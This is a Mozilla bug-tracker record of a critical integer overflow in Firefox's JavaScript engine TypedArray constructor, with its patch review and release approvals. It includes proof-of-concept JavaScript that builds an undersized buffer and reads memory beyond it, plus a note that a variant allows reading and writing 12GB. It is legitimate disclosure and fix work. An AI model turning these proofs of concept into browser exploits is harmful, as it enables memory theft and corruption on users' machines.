Closed Bug 1343513 Opened 3 years ago Closed 3 years ago

Integer overflow when validating length argument in TypedArray constructor

Categories

(Core :: JavaScript Engine, defect, critical)

defect
Not set
critical

Tracking

()

RESOLVED FIXED
mozilla54
Tracking Status
firefox-esr45 --- unaffected
firefox51 --- wontfix
firefox52 blocking fixed
firefox-esr52 52+ fixed
firefox53 + fixed
firefox54 + fixed

People

(Reporter: anba, Assigned: anba)

References

Details

(Keywords: csectype-bounds, regression, sec-critical, Whiteboard: [adv-main52+])

Attachments

(2 files, 4 obsolete files)

Test case:
---
var i = 0;
do {
    i++;
    var ta = new Int32Array(inIon() ? 0x7fffffff : 1);
} while (!inIon());

print("DONE", i);
print("len", ta.length);
print("len", ta.byteLength);

ta.copyWithin(0);
---

Output:
---
DONE 1939
len 2147483647
len -4
Assertion failure: ((4294967295U) >> ElementShift) >= count, at /home/andre/git/mozilla-central/js/src/vm/SelfHosting.cpp:1264
---
Attached patch bug1343513.patch (obsolete) — Splinter Review
Adds this check [1] to the makeTypedArrayWithTemplate function to avoid creating a typed array whose length exceeds INT32_MAX.

[1] http://searchfox.org/mozilla-central/rev/9c1c7106eef137e3413fd867fc1ddfb1d3f6728c/js/src/vm/TypedArrayObject.cpp#929-933
Attached patch bug1343513-testcase.patch (obsolete) — Splinter Review
Better PoC to show the severity of this bug:
---
do {
    var ta = new Int32Array(inIon() ? 2**30 : 1);
} while (!inIon());

print("length", ta.length); // 2**30
print("byteLength", ta.byteLength); // uint32_t(2**30 * sizeof(int32_t)) === 0 (!)

// Calls TypedArrayObject::ensureHasBuffer, but allocated buffer is too small.
ta.buffer;

print("buffer.byteLength", ta.buffer.byteLength); // 0

// Attacker can read memory after ta.buffer.
for (var i = 0, j = 1000, len = ta.length; j < len; ++j) {
    var x = ta[j];
    if (x) {
        // Print 10 example values.
        if (i++ < 10)
            print(j, x.toString(16).padStart(8, "0"));
        else
            break;
    }
}
---
Severity: normal → critical
Keywords: sec-critical
Reproducible with Firefox 51, probably introduced by bug 1276955 (Firefox 50).
Attachment #8842407 - Flags: review?(jdemooij)
Attachment #8842408 - Flags: review?(jdemooij)
Assignee: nobody → andrebargull
Flags: in-testsuite?
Keywords: regression
Notes:
- Using `var ta = new Float64Array(inIon() ? 1610612736 : 1);` should allow to read 12GB of memory.
- Only affects 64-bit Firefox, because js::CalculateAllocSize [1] should catch the overflow for 32-bit builds.

[1] http://searchfox.org/mozilla-central/rev/9c1c7106eef137e3413fd867fc1ddfb1d3f6728c/js/src/vm/TypedArrayObject.cpp#674
(In reply to André Bargull from comment #5)
> Notes:
> - Using `var ta = new Float64Array(inIon() ? 1610612736 : 1);` should allow
> to read 12GB of memory.

s/read/read and write/
Comment on attachment 8842407 [details] [diff] [review]
bug1343513.patch

Review of attachment 8842407 [details] [diff] [review]:
-----------------------------------------------------------------

::: js/src/vm/TypedArrayObject.cpp
@@ +674,5 @@
>          if (len < 0 || !js::CalculateAllocSize<NativeType>(len, &nbytes)) {
>              JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr, JSMSG_TYPED_ARRAY_BAD_ARGS);
>              return nullptr;
>          }
> +        if (nbytes >= INT32_MAX / sizeof(NativeType)) {

Comparing this to the code in maybeCreateArrayBuffer, shouldn't we do this check with len instead of nbytes?
Attachment #8842407 - Flags: review?(jdemooij)
Attachment #8842408 - Flags: review?(jdemooij) → review+
This bug is extremely critical and easily exploited.

The fix is super safe as it checks for large lengths that don't really show up in the wild. Is there any chance we can get it in 52?
Flags: needinfo?(rkothari)
Flags: needinfo?(lhenry)
Attached patch bug1343513.patch (obsolete) — Splinter Review
Whoa, copied-pasted the wrong variable name... Thanks for spotting that!
Attachment #8842407 - Attachment is obsolete: true
Attachment #8842884 - Flags: review?(jdemooij)
Comment on attachment 8842884 [details] [diff] [review]
bug1343513.patch

Review of attachment 8842884 [details] [diff] [review]:
-----------------------------------------------------------------

Good catch. Thanks for reporting and fixing!
Attachment #8842884 - Flags: review?(jdemooij) → review+
Comment on attachment 8842884 [details] [diff] [review]
bug1343513.patch

This is still missing something, because the following test case doesn't throw an error:
---
var i = 0;
do {
    i++;
    var ta = new Int32Array(inIon() ? 0x20000001 : 1);
} while (!inIon());
print(ta.length);
print(ta.byteLength); // Prints -2147483644 (!)
---

I guess MacroAssembler::initTypedArraySlots() needs some fixing as well?

|len| also needs to be casted to uint32_t to avoid a unsigned-signed comparison warning.
Attachment #8842884 - Flags: review+ → review-
Attached patch bug1343513.patchSplinter Review
New patch as discussed. I didn't delete the CheckedUint32 part, so it's easier to see that calling JS_ROUNDUP in the next line doesn't cause any issues.
Attachment #8842884 - Attachment is obsolete: true
Attachment #8842919 - Flags: review?(jdemooij)
Attached patch bug1343513-testcase.patch (obsolete) — Splinter Review
Added a new test case for the issue in comment #11. And updated the expected error to TypeError instead of InternalError.
Attachment #8842408 - Attachment is obsolete: true
Attachment #8842920 - Flags: review?(jdemooij)
Julien, what do you think for 52?
Flags: needinfo?(lhenry) → needinfo?(jcristau)
Attachment #8842919 - Flags: review?(jdemooij) → review+
Comment on attachment 8842920 [details] [diff] [review]
bug1343513-testcase.patch

Review of attachment 8842920 [details] [diff] [review]:
-----------------------------------------------------------------

LGTM.
Attachment #8842920 - Flags: review?(jdemooij) → review+
Sounds like we should take this and rebuild 52 and esr52  (for a build 3 later today).
Marking this as a 52 blocker for now. 
Alternatively we can plan a dot release for the week after next. 

Dan, what do you think? Can you take a look? We also would need sec approval.
Flags: needinfo?(dveditz)
We should take this. A dot release would be OK if we've got one planned, but if we haven't done RC2 yet let's take it now.
Blocks: 1276955
Group: core-security → javascript-core-security
Flags: needinfo?(dveditz)
Keywords: csectype-bounds
Comment on attachment 8842920 [details] [diff] [review]
bug1343513-testcase.patch

No sec-approval for the testcase. Please do NOT land this until a few weeks after the release.
Comment on attachment 8842919 [details] [diff] [review]
bug1343513.patch

Approval all the things: 52 (Release), esr-52, aurora (53), and sec-approval.
Attachment #8842919 - Flags: sec-approval+
Attachment #8842919 - Flags: approval-mozilla-release+
Attachment #8842919 - Flags: approval-mozilla-esr52+
Attachment #8842919 - Flags: approval-mozilla-beta+
Attachment #8842919 - Flags: approval-mozilla-aurora+
Do we need another fennec build here too? Is Firefox for Android affected?
(In reply to Liz Henry (:lizzard) (needinfo? me) from comment #20)
> Do we need another fennec build here too? Is Firefox for Android affected?

Yes all builds are affected.
https://hg.mozilla.org/mozilla-central/rev/4699504e17ba
Status: NEW → RESOLVED
Closed: 3 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla54
Whiteboard: [adv-main52+]
Group: javascript-core-security → core-security-release
Group: core-security-release
Updated the test case to expect a RangeError instead of a TypeError. Carrying r+.
Attachment #8842920 - Attachment is obsolete: true
Attachment #8924603 - Flags: review+
Check-in needed for:
- bug1343513-testcase.patch
Keywords: checkin-needed
You need to log in before you can comment on or make changes to this bug.